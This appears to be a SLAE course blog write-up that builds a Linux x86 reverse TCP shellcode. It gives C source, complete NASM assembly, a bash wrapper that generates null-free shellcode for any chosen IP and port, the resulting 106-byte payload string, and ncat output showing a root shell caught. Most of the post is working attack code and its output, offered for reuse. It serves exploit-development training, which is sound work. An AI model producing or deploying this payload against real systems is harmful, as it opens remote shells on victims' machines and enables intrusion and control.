Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Hello everybody,

So here we are for the second part of our shellcodes serie. Today we will deal with a reverse TCP shellcode.
This shellcode will be pretty similar to the bind one, except that we will connect back to the attacker’s machine in order to provide a shell on the compromised one.

So let’s see what changed.

Assignment 2:

Code is available on my github repo.

Our Goal:

Create a Shell_Reverse_TCP shellcode:

  • reverse connects to IP and PORT and spawns a shell
  • easily configurable IP and PORT

Here is the C source code we used:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
 
int main(void)
{
        int clientfd, sockfd, ret;
        int dstport = 8080;
        struct sockaddr_in mysockaddr;
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        mysockaddr.sin_family = AF_INET; //2
        mysockaddr.sin_port = htons(dstport); //8080
        mysockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //localhost
 
        // connecting to attacker's machine
        ret = connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(struct sockaddr_in));
        if(ret == -1)
        {
                perror("Attacker's machine is not listening. Quitting!");
                exit(-1);
        }

        dup2(sockfd, 0);
        dup2(sockfd, 1);
        dup2(sockfd, 2);
 
        execve("/bin/sh", NULL, NULL);
        return 0;
}

Let’s listen on port 8080:

ncat -klvp 8080
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080

Let’s connect:

# gcc -fno-stack-protector -z execstack -o shell_reverse_tcp shell_reverse_tcp.c && ./shell_reverse_tcp

And we have:

ncat -klvp 8080
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:38488.
id
uid=0(root) gid=0(root) groups=0(root)

So what are the interesting functions:

objdump -d ./shell_reverse_tcp -M intel
...
80485d2: e8 79 fe ff ff call 8048450 <[email protected]>
...

So we have:

socket
connect
dup2
execve

Let’s update our previous shellcode to match our new needs:

; shell_bind_tcp.nasm
; 
; A TCP port bind shellcode
;
; Author: SLAE - 891
;
; You are free to use and/or redistribute it without restriction

global  _start

section .text
_start:

; sockfd = socket(AF_INET, SOCK_STREAM, 0);
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall   102
; #define SYS_SOCKET        1
    xor ebx,ebx
    mul ebx         ; zero out eax and edx
    mov al, 102     ; __NR_socketcall
    mov bl, 1       ; SYS_SOCKET
    
    ; we are pushing on the stack our arguments
    push edx        ; IPPROTO_IP
    push byte 1     ; SOCK_STREAM
    push byte 2     ; AF_INET
    
    mov ecx, esp    ; the top of the stack points to a structure of 3 arguments
    int 0x80        ; syscall - result is stored in eax
    mov edi, eax    ; stores sockfd

; ret = connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(struct sockaddr_in));
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall   102
; #define SYS_CONNECT       3
    
    push edx
    mov byte [esp], 0x7f    ; mysockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //localhost
    mov byte [esp+3], 0x01  ; useful to avoid null bytes in the IP address

    push word 0x901f  ; mysockaddr.sin_port = htons(dstport); //8080
    push word 2     ; AF_INET
    mov ebx, esp    ; stores the address of mysockaddr
    push byte 16    ; length of mysockaddr
    push ebx        ; pointer to mysockaddr
    push edi        ; sockfd

    xor ebx, ebx    ; flushing registers
    mul ebx
    mov al, 102     ; __NR_socketcall
    mov bl, 3       ; SYS_CONNECT
    mov ecx, esp    ; pointer to the args for socketcall
    int 0x80



; int dup2(int oldfd, int newfd); duplicates a file descriptor
; dup2(sockfd, 0); 
; dup2(sockfd, 1);
; dup2(sockfd, 2);
; #define __NR_dup2 63

    mov ebx, edi    ; sockfd as first argument
    xor ecx, ecx
    mov cl, 2       ; 2 for stderr / 1 for stdout / 0 for stdin
    xor eax, eax

dup2:
    mov al, 63      ; __NR_dup2
    int 0x80
    dec ecx
    jns dup2        ; jump short if not signed 

; execve("/bin/sh", NULL, NULL);
; #define __NR_execve 11

    xor eax,eax
    push eax
    push 0x68732f2f ; hs// - take care to the little endian representation
    push 0x6e69622f ; nib/
    mov ebx, esp    ; pointer to command string
    mov ecx, eax
    mov edx, eax
    mov al, 11      ; __NR_execve
    int 0x80

Let’s compile, run and see if we are receiving our connection back:
image1

Perfect, and what about the bad characters:

objdump -d ./shell_reverse_tcp -M intel| grep 00

Nothing, good. Let’s update our wrapper.sh script and create our shell_reverse_tcp.template file. Please click and check the sources on Github.

The wrapper.sh and the template file have been enhanced in order to avoid null bytes in port number and IP address:

#! /bin/bash

#####################################
# Displays help
#####################################
function help(){
    echo "Usage: $0 <ip> <port_number> <file>"
    exit 1
}

#####################################
# Checking is root
#####################################

if [ $# -ne 3 ]; then
    help
fi

IP=$1
PORT=$2
FILE=$3

##############################
# Checking the port number
##############################

if [ ${PORT} -lt 1 ] || [ ${PORT} -gt 65535 ]; then
	echo "[*] Port number should be between 1 and 65535! Exiting..."
	exit
fi

# Converting port in hex and little endian representation
HEXFMTPORT=`printf "%04x" ${PORT}`
HEXFMTPORT1=$([ $((16#${HEXFMTPORT:0:2})) -ne 0 ] && echo 0x${HEXFMTPORT:0:2} || echo dl)
HEXFMTPORT2=$([ $((16#${HEXFMTPORT: -2})) -ne 0 ] && echo 0x${HEXFMTPORT: -2}	 || echo dl)

# final nasm filename
NASM_FILENAME=${FILE%.*}.nasm

########################
# Splitting IP address
########################
IP1=`echo ${IP} | cut -d. -f1`
IP2=`echo ${IP} | cut -d. -f2`
IP3=`echo ${IP} | cut -d. -f3`
IP4=`echo ${IP} | cut -d. -f4`

# Converting IP in hex and little endian representation
HEXFMTIP1=$([ ${IP1} -ne 0 ] && echo `printf "0x%x" ${IP1}` || echo dl)
HEXFMTIP2=$([ ${IP2} -ne 0 ] && echo `printf "0x%x" ${IP2}` || echo dl)
HEXFMTIP3=$([ ${IP3} -ne 0 ] && echo `printf "0x%x" ${IP3}` || echo dl)
HEXFMTIP4=$([ ${IP4} -ne 0 ] && echo `printf "0x%x" ${IP4}` || echo dl)

# for debugging purpose
echo "----------------------------"
echo "[*] HEXFMTPORT:${HEXFMTPORT}"
echo "[*] HEXFMTPORT1:${HEXFMTPORT1}"
echo "[*] HEXFMTPORT2:${HEXFMTPORT2}"
echo "[*] HEXFMTIP1:${HEXFMTIP1}"
echo "[*] HEXFMTIP2:${HEXFMTIP2}"
echo "[*] HEXFMTIP3:${HEXFMTIP3}"
echo "[*] HEXFMTIP4:${HEXFMTIP4}"
echo "----------------------------"
echo

# Replacing port and ip patterns
# Generating a new file source and compiling
sed "s/PORT1/${HEXFMTPORT1}/" ${FILE} > ${NASM_FILENAME} && \
sed -i "s/PORT2/${HEXFMTPORT2}/" ${NASM_FILENAME} && \
sed -i "s/IP1/${HEXFMTIP1}/" ${NASM_FILENAME} && \
sed -i "s/IP2/${HEXFMTIP2}/" ${NASM_FILENAME} && \
sed -i "s/IP3/${HEXFMTIP3}/" ${NASM_FILENAME} && \
sed -i "s/IP4/${HEXFMTIP4}/" ${NASM_FILENAME} && \
./compile.sh ${FILE%.*} && \
objdump -d ${FILE%.*}|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Trying with a port (2048 = 0x0800) and IP (127.0.0.1) which are generating some null bytes provides the following:

./wrapper.sh 127.0.0.1 2048 ./shell_reverse_tcp.template 
----------------------------
[*] HEXFMTPORT:0800
[*] HEXFMTPORT1:0x08
[*] HEXFMTPORT2:dl
[*] HEXFMTIP1:0x7f
[*] HEXFMTIP2:dl
[*] HEXFMTIP3:dl
[*] HEXFMTIP4:0x1
----------------------------

[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\xc6\x04\x24\x7f\x88\x54\x24\x01\x88\x54\x24\x02\xc6\x44\x24\x03\x01\x66\x52\xc6\x04\x24\x08\x88\x54\x24\x01\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xfb\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

Here is the interesting part in our template:

...
    push edx
    mov byte [esp], IP1    ; useful to avoid null bytes with parametrized IP
    mov byte [esp+1], IP2  ; If 00 will be replaced by dl
    mov byte [esp+2], IP3     
    mov byte [esp+3], IP4

    push dx                  ; useful to avoid null bytes with parametrized port
    mov byte [esp], PORT1    ; mysockaddr.sin_port = htons(dstport); //8080
    mov byte [esp+1], PORT2 
...

And have a look at the result shell_reverse_tcp.nasm file:

...
    push edx
    mov byte [esp], 0x7f    ; useful to avoid null bytes with parametrized IP
    mov byte [esp+1], dl  ; If 00 will be replaced by dl
    mov byte [esp+2], dl     
    mov byte [esp+3], 0x1

    push dx                  ; useful to avoid null bytes with parametrized port
    mov byte [esp], 0x08    ; mysockaddr.sin_port = htons(dstport); //8080
    mov byte [esp+1], dl 
...

We are pushing the dl byte register in replacement of a null byte.

So now let’s confirm that the generated nasm source file leads to a working shellcode once compiled thanks to shellcode.c:

# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c && ./shellcode 
Shellcode Length: 106

And here we are:
image2

So now we can parametrize the port number, the IP address, and you can generate a TCP reverse shellcode without any null bytes.

Hope you enjoyed,
Don’t hesitate to comment and share.

Phackt